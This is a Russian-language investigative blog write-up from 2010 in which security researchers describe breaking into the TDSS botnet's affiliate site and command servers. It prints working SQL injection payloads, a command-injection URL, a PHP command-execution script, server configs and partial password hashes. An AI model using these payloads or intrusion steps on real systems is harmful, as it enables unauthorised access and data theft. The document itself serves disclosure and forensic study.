пятница, 15 октября 2010 г.

TDSS: полное раскрытие

Андрей Рассохин
специалист по информационной безопасности
«Лаборатория информационной безопасности» (eSage Lab)
andrey@esagelab.com
Дмитрий Олексюк
системный архитектор
«Лаборатория информационной безопасности» (eSage Lab)
dmitry@esagelab.com

    Бот-руткит TDSS на сегодняшний день хорошо изучен. Однако ни одно из исследований не идёт дальше анализа кода вредоносной программы и источников её распространения. Данная статья призвана восполнить этот пробел, осветив скрытые механизмы ботнета и его объективные характеристики.
    Кроме того, при публикации этого материала мы преследовали еще одну цель: представить методологию расследования компьютерных преступлений. Данное исследование демонстрирует, как, имея на руках только инструмент злоумышленников (бинарный файл трояна), выйти на «цифровое ядро» киберформирования и проанализировать его. Следует заметить, что применяемый подход позволяет извлечь всю техническую информацию об инциденте, в то время как задача установления личностей атакующих и привлечения их к ответственности остаётся в сфере компетенции правоохранительных органов.

    Часть 1. Вскрытие

    В последнее время в интернете возрождается популярность партнерских программ. Всё больше и больше крупных ботнетов, результаты исследования которых публикуются в русскоязычных и зарубежных источниках, оказываются связаны с той или иной партнёрской программой. Ботнет TDSS — возможно, самый крупный на сегодняшний день — не является исключением. Распространение вредоносной программы, обеспечивающей функционирование данного ботнета, осуществляется партнёрской программой «Dogma Millions».
    Главная страница партнёрской программы dogmamillions.com
    Главная страница партнёрской программы dogmamillions.com
    На сайте dogmamillions.com описаны правила работы с партнёрской программой и условия для партнёров. После регистрации партнёру доступен для загрузки бинарный файл руткита TDSS, подлежащий распространению любыми удобными способами за комиссионное вознаграждение.
    Личный кабинет партнера на сайте партнерской программы
    Личный кабинет партнера на сайте партнерской программы

    Дополнительная учётная запись со ссылкой на загрузку исполняемого файла TDSSПартнёрам предоставляется удобная статистика по заражённым с их помощью компьютерам и количество заработанных комиссионных, а также ссылки на целевые страницы для заражения посетителей, на которые можно направлять поисковой трафик различных тематик.
    Дополнительная учётная запись со ссылкой на загрузку исполняемого файла TDSS

    Партнёрская программа

    л
    На сервере партнёрской программы использовалась база данных MySQL версии 5. Все запросы к базе данных, описанные далее, будут соответствовать языку запросов MySQL.
    Поиск уязвимостей в скриптах личного кабинета не принёс результата. Однако получить доступ к базе данных всё-таки удалось: вначале при помощи атаки Blind SQL injection, а затем и классической атаки SQL injection.
    Для партнёров существует возможность создания дополнительных учетных записей (subaccounts). Последние используются для анализа эффективности использования разных видов веб-трафика с разными целевыми страницы. Например, одной дополнительной учетной записи может соответствовать троян, на загрузку которого будет направляться порно-трафик. Таким образом, данный троян скачает жертва, просматривающая сайты с порнографическим содержимым. К другой может быть привязан троян, загружаемый посетителями сайтов с «крэками». В результате раздельного сбора статистики партнёр может оценить, какой вид трафика лучше подходит для работы с данной партнёрской программой, принося максимум комиссионных.
    Дополнительные учётные записи создаются при помощи HTTP-запроса типа GET:


    http://dogmamillions.com/index.php?request=members.sab_account&create=1

    После такого запроса в личном кабинете партнёра появится дополнительная учётная запись с идентификатором 1. Её можно удалить, указав её идентификатор в соответствующем GET-запросе:


    http://dogmamillions.com/index.php?request=members.sab_account&delete=1

    Атака Blind SQL Injection заключалась в следующем. Необходимо было создать дополнительную учётную запись с любым произвольным идентификатором и затем попытаться его удалить. Параметр запроса delete был уязвим, поэтому возможно было провести атаку, отправив на сервер запрос следующего вида:


    http://dogmamillions.com/index.php?request=members.sab_account&delete=if(ord(substring((version()),1,1))>1,1,0xffff)

    Если значение выражения ord(substring((version()),1,1)) больше 1, то условиеif возвращает 1, и запрос упрощенно принимает следующий вид:


    http://dogmamillions.com/index.php?request=members.sab_account&delete=1

    Если же условие ложно, то запрос будет иметь вид:


    http://dogmamillions.com/index.php?request=members.sab_account&delete=0xffff

    Таким образом, дополнительная учетная запись будет удалена только в том случае, если переданное в параметре delete условие истинно. На основе этих данных может быть проведена атака Blind SQL Injection.
    Возможен и другой вариант атаки. Параметр create команды создания дополнительной учётной записи также уязвим. Запрос следующего вида приведет к созданию на сервере дополнительной учетной записи с идентификатором, равным значению выражения:


    http://dogmamillions.com/index.php?request=members.sab_account&create=ord(substring((version()),1,1))

    Таким образом, если версия базы данных на сервере выше 5, то первым символом строки, которую вернёт команда version(), будет «5». ASCII-код этого символа равен 53, поэтому в личном кабинете партнера появится дополнительная учётная запись с идентификатором 53.
    affiliates
     affId
     affAid
     affLogin
     affPassword
     affGroup
     affBalance
     affBalanceEarnings
     affBalancePayout
     affBalanceRefferal
     affBalanceCPV
     affBalanceBonus
     affBalancePenalty
    affiliatesaccounts
     affId
     affSid
    bonuses
    countries
    cpvearnings
    cronUpdateStatFeeds
     cronId
     cronCreated
     cronStart
     cronCompleted
     cronDateFrom
     cronDateTo
     cronStatus
    crontime
    domains
     id
     domain
     status
     category
    groups
    invites
    managers
    news
    payments
    paymentsfields
    paymentsperiods
    paymentsproperties
    paymentstypes
    penalties
    statisticsearnings
    statisticsinstalls
    statisticsrefferals
    substatearnings
    Часть таблиц с колонками из базы данных dogmamillions.com
    1:Ro**:c94405aee9b728bad************b1f
    3:over****:5f4dcc3b5aa765d61************f99
    Первые дополнительные учетные записи из таблицы affiliates базы данныхdogmamillions.com
    На основе вышеописанных уязвимостей были разработаны эксплойты, с помощью которых был произведен анализ базы данных сервера партнёрской программы.

    Командные сервера

    На момент проведения анализа командные сервера (C&C, command-and-control) ботнета TDSS располагались по следующим доменным именам и IP-адресам (фрагмент файла конфигурации руткита):


    [tdlcmd]
    servers=https://d45648675.cn/;https://d92378523.cn/;https://91.212.226.62/
    wspservers=http://b11335599.cn/;http://b00882244.cn/
    popupservers=http://m3131313.cn/

    Управление ботнетом производится с трёх серверов, указанных в поле serversфайла конфигурации. Именно их мы проверили на предмет уязвимостей в первую очередь.
    В результате анализа бинарного файла бота было установлено, что отправка данных на сервера осуществляется по следующему алгоритму:
    1. формируется пакет данных;
    2. этот пакет шифруется по алгоритму RC4, причём в качестве ключа используется IP-адрес либо доменное имя целевого сервера;
    3. пакет данных дополнительно кодируется по алгоритму Base64;
    4. данные отправляются на сервер.
    Таким образом, пседвокод алгоритмов шифровки и дешифровки выглядит следующим образом:


    сhar *encoded_data = base64_encode(rc4_encrypt(data, key));
    сhar *decoded_data = rc4_decrypt(base64_decode(data), key);

    Анализ данных, передаваемых ботом на сервер, выявил уязвимости, позволяющие произвести атаки Blind SQL injection и SQL Injection.
    В частности, в результате неправильного GET-запроса сервер возвращал сообщение об ошибке, в тексте которого содержалась закодированная строка и полный путь к уязвимому скрипту на сервере.
    Сообщение об ошибке при неправильном запросе к серверу
    Сообщение об ошибке при неправильном запросе к серверу
    После расшифровки строки по описанному выше алгоритму была получена команда следующего вида:


    remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success

    Точное назначение этой команды на этапе атаки было неясным. Однако в результате её анализа было установлено, что третий параметр в списке, разделенном символом вертикальной черты, является уязвимым.
    Первый вариант эксплойта, предназначенного для чтения данных из базы, был разработан с использованием метода задержки. Запрос для атаки выглядел следующим образом:


    remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((version()),1,1))>1,sleep(3),1)|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success

    В основу этого эксплойта положена команда, при успешном выполнении которой ответ от базы данных придет с задержкой на 3 секунды, тогда как при невыполнении задержки не произойдет. Это стандартный вариант реализации атаки Blind SQL injection с задержкой с тем исключением, что вместо функции benchmark()использована функция sleep(), так как последняя не создает нагрузки на СУБД.

    База данных

    Приступив к атаке, мы первым делом проверили, имеет ли текущий пользователь привилегию на чтение и запись данных на сервере (File_priv). Запрос, отправленный на сервер для этой цели, до шифрования выглядел следующим образом:


    remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((SELECT File_priv FROM mysql.user WHERE (CONCAT_WS(CHAR(64),User,Host) LIKE USER())),1,1))>1,sleep(3),1)|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success

    Результат работы эксплойта для Blind SQL Injection с задержкой
    Результат работы эксплойта для Blind SQL Injection с задержкой
    В результате успешной эксплуатации стало ясно, что существует возможность чтения и записи для определенных файлов на сервере. Но, поскольку читать файлы при помощи этого эксплойта было бы слишком медленным, запрос к базе данных был переделан следующим образом:


    remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((version()),1,1))>1,1,(select 1 union select 2))|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success

    При истинном значении условия новая команда вместо задержки возвращает ошибку, а при ложном — завершается успешно.
    После считывания и изучения базы данных мы переключились на чтение файлов через уязвимость.
    Работа эксплойта без задержки
    Работа эксплойта без задержки

    Скрипты

    В результате анализа кода файла index.php и подключаемых им скриптов была найдена ещё одна уязвимость, которая существенно облегчала исследование благодаря возможности сведения атаки типа Blind SQL Injection к классической атаке SQL Injection. Рассмотрим код файлов index.php и modules.php:
    <?php
    try {
    
    ...   
    
        //$_SERVER["REQUEST_URI"]
        $request      = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); 
        $requestCount = 0;
        $requestHost = $_SERVER["HTTP_HOST"];
    
        if( $request ) {
            $request      = explode( '|', $request );
            $requestCount = sizeof( $request );
        } else {
            header("HTTP/1.0 404 Not Found");
            exit();
        }
    
    ...
    
        } elseif( $request[0] == 'module' ) {
            DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE );
    
             
            include( 'modules.php' );
            
            DBase::disconnect();
        } 
    
    ...
    
        } else {
            var_dump($request);
            var_dump( base64_encode( rc4Encrypt($_SERVER["HTTP_HOST"], 'remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success') ) );
            header("HTTP/1.0 404 Not Found");
            exit();
        }
        
        
    
    
    } catch( Exception $e ) {
        print $e;
    }
    Часть скрипта index.php (многоточиями замещён опущенный код)
    <?php
    require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' );
    
        if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) {
            $modId    = $matches[1];
            $modCrypt = $matches[2];
        } else {
            $modId    = $request[1];
            $modCrypt = FALSE;
        }
    
        $modDetails = mModules::details( $modId );
    
        if( $modCrypt ) {
            print rc4Encrypt( $modCrypt, $modDetails['modData'] );
        } else {
            print $modDetails['modData'];
        }
        
        mModules::increment( $modId );
    Уязвимый параметр в скрипте modules.php
    Как видно из последнего листинга, значение параметра $request[1] не проверяется перед использованием в коде скрипта. Для данной уязвимости был разработан эксплойт, позволявший выполнять чтение файлов и базы данных в 10 раз быстрее, чем предыдущий:


    module|-1 union select 0,1,count(*),3 from users

    Данный запрос возвращает количество записей в таблице users в тексте сообщения об ошибке, возвращенном сервером.
    Проверка эксплойта SQL Injection и ответ сервера на запрос
    Проверка эксплойта SQL Injection и ответ сервера на запрос
    Таким образом, была получена возможность использовать атаку типа SQL Injection, что существенно упростило и ускорило изучение сервера.
    Следующей задачей было создание файла со скриптом, при помощи которого можно было бы выполнять команды к серверу напрямую, не используя атаку на MySQL.

    «Чёрный ход»

    На этапе внедрения скрипта для удалённого управления сервером возникло затруднение: а именно, все GET-запросы к серверу перенаправлялись на файлindex.php. Таким образом, успешно разместив на сервере скрипт «чёрного хода», мы не могли к нему обратиться. Обойти это ограничение можно было путем модификации файла конфигурации веб-сервера.
    Для поиска файла конфигурации был произведен опрос различных возможных путей к нему через уязвимость SQL Injection. В качестве инструмента для тестирования вариантов пути к файлу использовалась программа с открытым кодом wfuzz, слегка модифицированная для обеспечения шифровки данных перед их отправкой на сервер. В результате тестирования был найден файл конфигурации веб-сервера:/etc/lighttpd/lighttpd.conf.
    Содержимое файла lighttpd.conf
    Содержимое файла lighttpd.conf
    Листинг файла конфигурации дает представление о том, что перенаправление запросов на index.php происходило с помощью модуля mod_rewrite, а настройки для виртуальных серверов подключались в отдельном скрипте на языке Perl. В указанном скрипте, в свою очередь, подключались файлы конфигурации с настройками для отдельных виртуальных серверов, имена которых получались путем перечисления файлов в заданной директории. Таким образом, путь к нужному нам для обхода перенаправления файлу был по-прежнему неизвестен.
    Для файла с настройками перенаправления был составлен и протестирован объемный список, содержащий доменные имена и IP-адреса, входящие и входившие в ботнет TDSS.
    /etc/lighttpd/sites-enabled/212.117.162.50.conf
    /etc/lighttpd/sites-enabled/212.117.162.1.conf
    /etc/lighttpd/sites-enabled/91.212.226.59.conf
    /etc/lighttpd/sites-enabled/91.212.226.60.conf
    /etc/lighttpd/sites-enabled/91.212.226.61.conf
    /etc/lighttpd/sites-enabled/91.212.226.62.conf
    /etc/lighttpd/sites-enabled/91.212.226.63.conf
    /etc/lighttpd/sites-enabled/91.212.226.64.conf
    /etc/lighttpd/sites-enabled/91.212.226.65.conf
    /etc/lighttpd/sites-enabled/91.212.226.66.conf
    /etc/lighttpd/sites-enabled/91.212.226.67.conf
    /etc/lighttpd/sites-enabled/195.24.72.6.conf
    /etc/lighttpd/sites-enabled/83.243.8.6.conf
    /etc/lighttpd/sites-enabled/server.lu.conf
    /etc/lighttpd/sites-enabled/www.server.lu.conf
    Часть списка возможных путей к файлам конфигурации
    Однако желаемый результат был достигнут лишь в результате интеллектуального перебора возможных путей вручную. Итак, был найден файл конфигурации целевого виртуального сервера: /etc/lighttpd/sites-enabled/engine.conf.
    $SERVER["socket"] == "91.212.226.63:80" {
            $HTTP["host"] =~ "(.*)?" {
     server.document-root = "/var/www/dm_builder/php/"
    #                url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" )
                    url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" )
      accesslog.filename = "/var/log/lighttpd/build.log"
            }
            server.document-root = "/var/www/dm_builder/php/"
    }
    
    $SERVER["socket"] == "212.117.162.50:80" {
            $HTTP["host"] =~ "(.*)?" {
            server.document-root = "/var/www/dm_builder/php/"
    #                url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" )
                    url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" )
                    accesslog.filename = "/var/log/lighttpd/build.log"
            }
            server.document-root = "/var/www/dm_builder/php/"
    }
    
    $SERVER["socket"] == "91.212.226.60:443" {
            ssl.engine = "enable"
            ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"
            server.document-root = "/var/www/engine/public"
            server.errorlog = "/var/log/lighttpd/engine_error.log"
            accesslog.filename = "/var/log/lighttpd/engine_access.log"
            url.rewrite-once = ( "^/(.*)$" => "/index.php?request=$1" )
    }
    Часть файла engine.conf
    Файл конфигурации содержал настройки для шести серверов, только для двух из которых были созданы правила перенаправления HTTP-запросов на файл index.php. Для остальных серверов осуществлялось перенаправление HTTPS-запросов на скрипт MakeBuild.php.
    Анализ скрипта MakeBuild.php с помощью последнего из разработанных эксплойтов показал, что в его задачи входит сборка и конфигурация исполняемого файла руткита TDSS. Скрипт принимает на вход несколько параметров, один из которых предоставляет собой отладочную информацию о сборке трояна.
    <?
    if (!isset($_GET['aid'])) exit();
    $AID=$_GET['aid'];
    $SID=$_GET['sid'];
    if (empty($SID)) $SID=0;
    
    $DBG=$_GET['dbg'];
    $ENC=$_GET['enc'];
    
    /*if ($AID == 20034 || $AID == 20124)
    {
     $url = "http://213.133.110.18/03kd7nml094hx09/?aid={$AID}&sid={$SID}";
     if ($ENC) $url .= "&enc={$ENC}";
     if ($DBG) $url .= "&dbg={$DBG}";
     header("HTTP/1.1 302 Found");
     header("Location: {$url}");
     exit();
    }*/
    
    $BuildPath="./builds/{$AID}-{$SID}.exe";
    $ExitStatus=null;
    
    if(!chdir('/var/www/builder/')) exit();//exit('Error: Can\'t ChDir');
    exec("/usr/bin/wine builder.exe {$AID} {$SID}",$OutPut,$ExitStatus);
    if ($DBG)
    {
    unlink($BuildPath);
    echo "<html><pre>\n+------------------------------+\n"; print_r($OutPut); echo "\n=------------------------------=\n"; exit('Builder exit status: '.$ExitStatus);
    }
    Часть скрипта MakeBuild.php
    Скрипт MakeBuild.php оказался уязвимым к атаке на удаленное исполнение кода (remote code execution). В частности, как видно из листинга, входные параметры скрипта не фильтруются, а передаются напрямую в функцию exec(). Дополнительно, если использовать параметр dbg в запросе к скрипту, то в отладочном выводе будет напечатан результат выполнения команды.
    В результате выполнения следующего запроса выводится список файлов в текущей директории:


    http://91.212.226.63/087dggl094aa/MakeBuild.php?aid=;ls;&dbg=1

    Через эту уязвимость на сервер был загружен скрипт для удаленного управления.

    Повышение привилегий

    Права root на сервере были получены с помощью эксплойта для уязвимостиsock_sendpage(), который потребовал небольшой модификации для обеспечения его выполнения в 64-битной операционной системе сервера.
    Директория /root на командном сервере сервере TDSS
    Директория /root на командном сервере сервере TDSS

    Панель управления

    Настройки для панели управления ботнетом содержались в файлеengine_admin.conf, расположенном в той же директории, что и файл engine.conf.
    $SERVER["socket"] == "91.212.226.59:443" {
            ssl.engine = "enable"
            ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"
    #        $HTTP["host"] =~ "^engineadmin\.com$" {
                    server.document-root = "/var/www/engine/tools/public"
                    server.errorlog = "/var/log/lighttpd/admin.engine_error.log"
                    accesslog.filename = "/var/log/lighttpd/admin.engine_access.log"
    
                    url.rewrite-once = ( "^/([0-9a-zA-Z/]+)/?\??(.*=.*)?$" => "/index.php?request=$1&$2" )
    
                    $HTTP["url"] =~ "^/" {
                            auth.backend = "htpasswd"
                            auth.backend.htpasswd.userfile = "/etc/lighttpd/htpasswd.engine"
                            auth.require = (
                                    "/" => (
                                            "method" => "basic",
                                            "realm" => "Use your credit card number as username, cvv2 as password. Thank you ;)",
                                            "require" => "valid-user"
                                    )
                            )
                    }
    
    #        }
    }
    Содержимое файла engine_admin.conf
    Как видно из файла, адрес панели администрирования — 91.212.226.59. Однако открыть этот адрес в веб-браузере не удавалось: наш IP-адрес не входил в «белый список» доступа. Обойти эту защиту позволила модификация правил фаервола, описанных в файле /root/ipt.rules.
    -A INPUT -i lo -j ACCEPT 
    -A INPUT -s 66.148.74.126/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT 
    -A INPUT -s 188.40.72.68/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -s 188.40.72.125/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -s 204.12.213.144/29 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -s 91.212.226.49/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -d 212.117.162.50/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable 
    -A INPUT -d 91.212.226.59/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable
    -A INPUT -i eth0 -p tcp -m tcp -m multiport --dports 3306 -j REJECT --reject-with icmp-port-unreachable 
    -A INPUT -s 195.138.81.135/32 -p tcp -m tcp --dport 22 -j ACCEPT 
    -A INPUT -i eth0 -p tcp -m tcp --dport 873 -j REJECT --reject-with icmp-port-unreachable 
    -A INPUT -i eth0 -p tcp -m tcp --dport 22 -j REJECT --reject-with icmp-port-unreachable 
    COMMIT
    Изначальное содержимое файла ipt.rules
    Таким образом, доступ к сайту панели управления был получен, но для входа в панель требовалась стандартная авторизация (Basic Authorisation). Пароли для входа хранились в файле htpasswd.engine в зашифрованном виде. Но, вместо подбора паролей, для первого доступа мы подменили файл htpasswd.engineцеликом. Позже выяснилось, что логины и пароли к панели управления хранились в базе данных без шифрования, что позволило использовать их для дальнейшего доступа.
    Запрос авторизации при входе в административную панель
    Запрос авторизации при входе в административную панель
    Панель администрирования командного сервера ботнета представляла собой удобный веб-интерфейс для получения подробной статистики о зараженных компьютерах. Стоит отметить такие возможности, как отображение информации о количестве загрузок, статистика по странам, операционным системам и веб-браузерам зараженных компьютеров, просмотр подгружаемых модулей и запущенных на выполнение команд.
    Статистика числа заражений по дням
    Статистика числа заражений по дням
    Статистика по операционным системам
    Статистика по операционным системам
    Запущенные на выполнение команды
    Запущенные на выполнение команды
    Статистика по странам
    Статистика по странам
    Модули TDSS
    Модули TDSS

    Смена серверов

    Тем временем начала распространяться новая версия бота TDSS (3.64). В этой версии сменились адреса командных серверов.

    [tdlcmd]
    servers=https://a57990057.cn/;https://a58990058.cn/;https://94.228.209.145/
    wspservers=http://c36996639.cn/;http://c58446658.cn/
    popupservers=http://m2121212.cn/

    .
    Скрипты новых серверов претерпели некоторые изменения. В частности, была исправлена уязвимость с выводом ошибки при неверном GET-запросе к серверу. Но, поскольку все остальные найденные ранее уязвимости успешно функционировали, то было возможно прочитать файл index.php. Его код оказался доработан: теперь все исключения записывались в файл лога. Настройки сервера также претерпели изменения. В частности, в дополнение к HTTP-серверу lighttpd в качествефронтенда был установлен дополнительный веб-сервер nginx.
    Конфигурацонный файл виртуальных серверов на новом сервере остался прежним:engine.conf.
    Таким образом, панель администрирования сервера теперь располагалась по адресу 188.72.242.191, а наш скрипт удаленного управления остался на сервере с по адресу 188.72.242.190. Как видно из листинга, каждому IP-адресу соответствует отдельное доменное имя. Возможность использования «чёрного хода» оказалась недоступна. Для обхода этого ограничения был разработан следующий скрипт:
    <?php
    
    $fp = fsockopen("ssl://94.228.209.145",443,$errno,$errstr);
    if(!$fp) die("[e] $errno,$errstr");
    $header  = "GET /MakeBuild.php?aid=;".urlencode($argv[1]).";&dbg=1 HTTP/1.1\r\n";
    $header .= "Host: bld.newnetengine.com\r\n";
    $header .= "Connection: close\r\n\r\n";
    
    fwrite($fp,$header);
    while(!feof($fp)) print(fgets($fp,256));
    fclose($fp);
    
    print $buff;
    Скрипт для выполнения команд на новом сервере через файл MakeBuild.php
    Данный скрипт обеспечивает отправку запроса к скрипту MakeBuild.php путем подстановки доменного имени сервера, на котором хранится файл скрипта (bld.newnetengine.com), в поле Host HTTP-запроса. Получив такой запрос, HTTP-сервер nginx на командном сервере перенаправлял его на указанный сервер и возвращал ответ.

    Часть 2. Анализ

    Командный сервер ботнета работает под управлением 64-разрядной операционной системы Ubuntu Linux:


    # uname -a
    Linux C020 2.6.29.2 #1 SMP Sun Jul 26 11:29:05 CEST 2009 x86_64 GNU/Linux 
    # cat /etc/lsb-release
    DISTRIB_ID=Ubuntu
    DISTRIB_RELEASE=9.04
    DISTRIB_CODENAME=jaunty
    DISTRIB_DESCRIPTION="Ubuntu 9.04"

    Для сетевого интерфейса eth0 назначено 10 IP-адресов:


    # ifconfig
    eth0      Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:212.117.162.50  Bcast:212.117.162.255  Mask:255.255.255.0
              inet6 addr: fe80::221:85ff:fe63:2c55/64 Scope:Link
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              RX packets:8401814139 errors:0 dropped:0 overruns:0 frame:0
              TX packets:7557368326 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000 
              RX bytes:855626520252 (855.6 GB)  TX bytes:4595270022127 (4.5 TB)
              Interrupt:17 Base address:0x2000 
    
    eth0:1    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.59  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:2    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.60  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:3    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.61  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:4    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.62  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:5    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.63  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:6    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.64  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:7    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.65  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:8    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.66  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:9    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.67  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    lo        Link encap:Local Loopback  
              inet addr:127.0.0.1  Mask:255.0.0.0
              inet6 addr: ::1/128 Scope:Host
              UP LOOPBACK RUNNING  MTU:16436  Metric:1
              RX packets:10295737718 errors:0 dropped:0 overruns:0 frame:0
              TX packets:10295737718 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:0 
              RX bytes:3644745121946 (3.6 TB)  TX bytes:3644745121946 (3.6 TB)

    Из них четыре (91.212.226.60, 91.212.226.61, 91.212.226.62 и 91.212.226.64) используются для доступа к веб-шлюзу, с которым работают боты, два (91.212.226.63 и 212.117.162.50) — для доступа к веб-интерфейсу для сборки и конфигурации бота, и один (91.212.226.59) — для доступа к панели администрирования ботнета.
    Учетные записи локальных пользователей в файле /etc/shadow
    Учетные записи локальных пользователей в файле /etc/shadow
    Список запущенных процессов на сервере на момент анализа выглядел следующим образом:


    PID TTY      STAT   TIME COMMAND
     1076 ?        S<s    0:04 /sbin/udevd --daemon
     1575 ?        S    1154:22 /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
     2453 ?        Ss     0:00 /sbin/mdadm --monitor --pid-file /var/run/mdadm/monitor.pid --daemonise --scan --syslog
     3801 tty2     Ss+    0:00 /sbin/getty 38400 tty2
     3826 ?        Ss     0:16 /sbin/syslogd -u syslog
     3845 ?        S      0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg
     3848 ?        Ss     0:00 /sbin/klogd -P /var/run/klogd/kmsg
     3890 ?        Ss     1:54 /bin/dbus-daemon --system
     3936 ?        Ssl   69:36 /usr/sbin/named -u bind
     3973 ?        Ss     0:01 /usr/sbin/ntpd -p /var/run/ntpd.pid -u 108:117 -g
     3986 ?        Ss     0:01 /usr/sbin/sshd
     3991 ?        Sl   1736:18 /usr/bin/memcached -m 2048 -p 11211 -u nobody -l 127.0.0.1
     4067 ?        Ss     0:00 /usr/lib/postfix/master
     4084 ?        S      0:00 qmgr -l -t fifo -u
     4086 ?        Ss     0:00 /usr/sbin/winbindd
     4113 ?        S      0:00 /usr/sbin/winbindd
     4118 ?        Ss    86:34 avahi-daemon: running [C020.local]
     4119 ?        Ss     0:00 avahi-daemon: chroot helper
     4134 ?        S      0:00 /usr/bin/rsync --no-detach --daemon --config /etc/rsyncd.conf
     4185 ?        Ss     0:03 /usr/sbin/cron
     4220 tty1     Ss+    0:00 /sbin/getty 38400 tty1
     4225 ?        Ssl   36:54 /usr/sbin/console-kit-daemon
     4436 ?        S<   223:30 [loop3]
     4465 ?        S<    72:26 [kjournald2]
     4498 ?        S      0:00 /bin/sh /usr/bin/mysqld_safe
     4728 ?        SLl  87943:36 /usr/sbin/mysqld
     6773 ?        S      0:39 /usr/bin/php-cgi
     7303 ?        S      0:32 /usr/bin/php-cgi
     7320 ?        S      0:31 /usr/bin/php-cgi
     7447 ?        S      0:27 /usr/bin/php-cgi
     7590 ?        S      0:25 /usr/bin/php-cgi
     7796 ?        S      0:19 /usr/bin/php-cgi
     7944 ?        S      0:16 /usr/bin/php-cgi
     7982 ?        S      0:15 /usr/bin/php-cgi
     8002 ?        S      0:00 /USR/SBIN/CRON
     8048 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php
     8058 ?        S      0:05 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php
     8243 ?        S      0:00 /USR/SBIN/CRON
     8282 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php
     8287 ?        S      0:06 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php
     8467 ?        S      0:00 /USR/SBIN/CRON
     8483 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php
     8484 ?        S      0:03 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php
     8637 ?        S      0:00 pickup -l -t fifo -u -c
